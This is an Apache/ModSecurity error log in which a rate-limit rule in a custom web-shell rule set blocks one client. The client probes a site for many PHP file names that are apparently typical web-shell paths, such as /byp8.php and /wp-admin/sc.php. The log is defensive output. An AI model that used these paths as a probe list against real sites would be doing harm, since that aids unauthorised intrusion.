[Mon Mar 02 02:19:00.312934 2026] [:error] [pid 53585:tid 53608] [client 20.220.232.240:43867] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opts.php"] [unique_id "aaSDFHbCvYsvu6kKhM3DwQAAABQ"]
[Mon Mar 02 02:19:00.807145 2026] [:error] [pid 53181:tid 53538] [client 20.220.232.240:43771] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nzv.php"] [unique_id "aaSDFIr_0T1SazTrJOBP9QAAARc"]
[Mon Mar 02 02:19:01.465591 2026] [:error] [pid 53180:tid 53463] [client 20.220.232.240:43717] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nzv.php"] [unique_id "aaSDFTPPJpDOBvYnaa1mvAAAAZM"]
[Mon Mar 02 02:19:02.156724 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:43779] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nzv.php"] [unique_id "aaSDFhrUg-j5GLDtRFnfYgAAAEg"]
[Mon Mar 02 02:19:02.886271 2026] [:error] [pid 26940:tid 26954] [client 20.220.232.240:43651] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nzv.php"] [unique_id "aaSDFhrUg-j5GLDtRFnfawAAAEo"]
[Mon Mar 02 02:19:03.859951 2026] [:error] [pid 53182:tid 53544] [client 20.220.232.240:43747] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaSDF_v073cA6eM1YCToygAAAME"]
[Mon Mar 02 02:19:04.647301 2026] [:error] [pid 53585:tid 53588] [client 20.220.232.240:43724] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaSDGHbCvYsvu6kKhM3D2AAAAAA"]
[Mon Mar 02 02:19:05.280084 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:43741] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaSDGRrUg-j5GLDtRFnfegAAAEg"]
[Mon Mar 02 02:19:05.868498 2026] [:error] [pid 53585:tid 53612] [client 20.220.232.240:43711] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaSDGXbCvYsvu6kKhM3D4AAAABg"]
[Mon Mar 02 02:19:06.330497 2026] [:error] [pid 26940:tid 26947] [client 20.220.232.240:43737] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaSDGhrUg-j5GLDtRFnfgwAAAEM"]
[Mon Mar 02 02:19:06.804372 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:43817] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaSDGhrUg-j5GLDtRFnfiQAAAEg"]
[Mon Mar 02 02:19:07.232196 2026] [:error] [pid 26940:tid 26946] [client 20.220.232.240:43751] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaSDGxrUg-j5GLDtRFnfkQAAAEI"]
[Mon Mar 02 02:19:07.896406 2026] [:error] [pid 26940:tid 26953] [client 20.220.232.240:43745] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaSDGxrUg-j5GLDtRFnfmwAAAEk"]
[Mon Mar 02 02:19:08.664015 2026] [:error] [pid 53182:tid 53544] [client 20.220.232.240:43713] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nhr.php"] [unique_id "aaSDHPv073cA6eM1YCTo2AAAAME"]
[Mon Mar 02 02:19:09.264054 2026] [:error] [pid 53182:tid 53543] [client 20.220.232.240:43727] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nhr.php"] [unique_id "aaSDHfv073cA6eM1YCTo2gAAAMA"]
[Mon Mar 02 02:19:09.766174 2026] [:error] [pid 26940:tid 26945] [client 20.220.232.240:44000] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nhr.php"] [unique_id "aaSDHRrUg-j5GLDtRFnfpgAAAEE"]
[Mon Mar 02 02:19:10.348473 2026] [:error] [pid 26940:tid 26956] [client 20.220.232.240:43760] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nhr.php"] [unique_id "aaSDHhrUg-j5GLDtRFnfrAAAAEw"]
[Mon Mar 02 02:19:10.858497 2026] [:error] [pid 53585:tid 53595] [client 20.220.232.240:43739] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaSDHnbCvYsvu6kKhM3D6QAAAAc"]
[Mon Mar 02 02:19:11.331531 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:43661] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaSDHxrUg-j5GLDtRFnftAAAAEA"]
[Mon Mar 02 02:19:11.861124 2026] [:error] [pid 26940:tid 26947] [client 20.220.232.240:43649] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaSDHxrUg-j5GLDtRFnftgAAAEM"]
[Mon Mar 02 02:19:12.512988 2026] [:error] [pid 53585:tid 53588] [client 20.220.232.240:43688] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaSDIHbCvYsvu6kKhM3D8gAAAAA"]
[Mon Mar 02 02:19:13.337980 2026] [proxy_fcgi:error] [pid 53182:tid 53551] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:13.552210 2026] [proxy_fcgi:error] [pid 53182:tid 53561] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:13.760088 2026] [proxy_fcgi:error] [pid 53182:tid 53555] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:14.125189 2026] [proxy_fcgi:error] [pid 53182:tid 53543] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:14.335933 2026] [proxy_fcgi:error] [pid 53182:tid 53559] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:14.543282 2026] [proxy_fcgi:error] [pid 53182:tid 53565] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:14.936554 2026] [proxy_fcgi:error] [pid 53182:tid 53568] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:15.149127 2026] [proxy_fcgi:error] [pid 53182:tid 53564] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:15.357371 2026] [proxy_fcgi:error] [pid 53182:tid 53547] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:15.567455 2026] [proxy_fcgi:error] [pid 53182:tid 53550] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:15.775084 2026] [proxy_fcgi:error] [pid 53182:tid 53555] [client 20.220.232.240:43839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:19:16.002491 2026] [:error] [pid 53182:tid 53563] [client 20.220.232.240:43839] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fun.php"] [unique_id "aaSDJPv073cA6eM1YCTo_gAAANM"]
[Mon Mar 02 02:19:16.440733 2026] [:error] [pid 53585:tid 53607] [client 20.220.232.240:43813] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fun.php"] [unique_id "aaSDJHbCvYsvu6kKhM3ECAAAABM"]
[Mon Mar 02 02:19:16.930844 2026] [:error] [pid 26940:tid 26951] [client 20.220.232.240:43798] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fun.php"] [unique_id "aaSDJBrUg-j5GLDtRFnf0gAAAEc"]
[Mon Mar 02 02:19:17.355536 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:43822] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fun.php"] [unique_id "aaSDJRrUg-j5GLDtRFnf1wAAAEg"]
[Mon Mar 02 02:19:18.130243 2026] [:error] [pid 53585:tid 53611] [client 20.220.232.240:43931] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/end.php"] [unique_id "aaSDJnbCvYsvu6kKhM3EFQAAABc"]
[Mon Mar 02 02:19:18.985932 2026] [:error] [pid 53585:tid 53592] [client 20.220.232.240:43683] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/end.php"] [unique_id "aaSDJnbCvYsvu6kKhM3EHQAAAAQ"]
[Mon Mar 02 02:19:19.545876 2026] [:error] [pid 53180:tid 53454] [client 20.220.232.240:43908] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/end.php"] [unique_id "aaSDJzPPJpDOBvYnaa1m0gAAAYo"]
[Mon Mar 02 02:19:20.051009 2026] [:error] [pid 53585:tid 53595] [client 20.220.232.240:43756] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/end.php"] [unique_id "aaSDKHbCvYsvu6kKhM3EJQAAAAc"]
[Mon Mar 02 02:19:20.532470 2026] [:error] [pid 53585:tid 53604] [client 20.220.232.240:43668] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aaSDKHbCvYsvu6kKhM3ELAAAABA"]
[Mon Mar 02 02:19:21.112165 2026] [:error] [pid 53585:tid 53597] [client 20.220.232.240:43984] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aaSDKXbCvYsvu6kKhM3EMAAAAAk"]
[Mon Mar 02 02:19:21.607038 2026] [:error] [pid 26940:tid 26951] [client 20.220.232.240:43834] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aaSDKRrUg-j5GLDtRFnf7wAAAEc"]
[Mon Mar 02 02:19:22.246636 2026] [:error] [pid 53182:tid 53552] [client 20.220.232.240:43994] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aaSDKvv073cA6eM1YCTpCQAAAMk"]
[Mon Mar 02 02:19:22.955962 2026] [:error] [pid 53181:tid 53523] [client 20.220.232.240:43719] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/scx.php7"] [unique_id "aaSDKor_0T1SazTrJOBQEAAAAQg"]
[Mon Mar 02 02:19:23.647587 2026] [:error] [pid 26940:tid 26956] [client 20.220.232.240:43690] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/scx.php7"] [unique_id "aaSDKxrUg-j5GLDtRFnf-AAAAEw"]
[Mon Mar 02 02:19:24.135438 2026] [:error] [pid 26940:tid 26965] [client 20.220.232.240:43915] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/scx.php7"] [unique_id "aaSDLBrUg-j5GLDtRFnf_QAAAFU"]
[Mon Mar 02 02:19:24.630925 2026] [:error] [pid 53180:tid 53447] [client 20.220.232.240:43728] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/scx.php7"] [unique_id "aaSDLDPPJpDOBvYnaa1m2gAAAYM"]
[Mon Mar 02 02:19:25.153273 2026] [:error] [pid 53585:tid 53594] [client 20.220.232.240:43714] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error1.php"] [unique_id "aaSDLXbCvYsvu6kKhM3ERAAAAAY"]
[Mon Mar 02 02:19:25.674138 2026] [:error] [pid 26940:tid 26963] [client 20.220.232.240:44029] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error1.php"] [unique_id "aaSDLRrUg-j5GLDtRFngDgAAAFM"]
[Mon Mar 02 02:19:26.265227 2026] [:error] [pid 26940:tid 26958] [client 20.220.232.240:43650] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error1.php"] [unique_id "aaSDLhrUg-j5GLDtRFngFAAAAE4"]
[Mon Mar 02 02:19:26.895617 2026] [:error] [pid 26940:tid 26957] [client 20.220.232.240:43819] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error1.php"] [unique_id "aaSDLhrUg-j5GLDtRFngGQAAAE0"]
[Mon Mar 02 02:19:27.446996 2026] [:error] [pid 53182:tid 53566] [client 20.220.232.240:43648] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thui.php"] [unique_id "aaSDL_v073cA6eM1YCTpFQAAANY"]
[Mon Mar 02 02:19:28.019908 2026] [:error] [pid 26940:tid 26954] [client 20.220.232.240:43674] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thui.php"] [unique_id "aaSDMBrUg-j5GLDtRFngHgAAAEo"]
[Mon Mar 02 02:19:28.630190 2026] [:error] [pid 53182:tid 53552] [client 20.220.232.240:43720] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thui.php"] [unique_id "aaSDMPv073cA6eM1YCTpHgAAAMk"]
[Mon Mar 02 02:19:29.561332 2026] [:error] [pid 53181:tid 53525] [client 20.220.232.240:43712] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thui.php"] [unique_id "aaSDMYr_0T1SazTrJOBQHgAAAQo"]
[Mon Mar 02 02:19:30.472339 2026] [:error] [pid 53180:tid 53458] [client 20.220.232.240:44007] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaSDMjPPJpDOBvYnaa1m5AAAAY4"]
[Mon Mar 02 02:19:31.207748 2026] [:error] [pid 26940:tid 26948] [client 20.220.232.240:43697] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaSDMxrUg-j5GLDtRFngMwAAAEQ"]
[Mon Mar 02 02:19:31.760117 2026] [:error] [pid 26940:tid 26968] [client 20.220.232.240:43979] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaSDMxrUg-j5GLDtRFngPQAAAFg"]
[Mon Mar 02 02:19:32.418505 2026] [:error] [pid 26940:tid 26968] [client 20.220.232.240:43673] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaSDNBrUg-j5GLDtRFngSgAAAFg"]
[Mon Mar 02 02:19:32.934078 2026] [:error] [pid 26940:tid 26956] [client 20.220.232.240:43787] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaSDNBrUg-j5GLDtRFngVgAAAEw"]
[Mon Mar 02 02:19:33.592614 2026] [:error] [pid 53585:tid 53612] [client 20.220.232.240:43730] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaSDNXbCvYsvu6kKhM3EYAAAABg"]
[Mon Mar 02 02:19:34.422133 2026] [:error] [pid 26940:tid 26959] [client 20.220.232.240:43797] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaSDNhrUg-j5GLDtRFngbAAAAE8"]
[Mon Mar 02 02:19:35.254271 2026] [:error] [pid 53182:tid 53561] [client 20.220.232.240:43980] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaSDN_v073cA6eM1YCTpLQAAANE"]
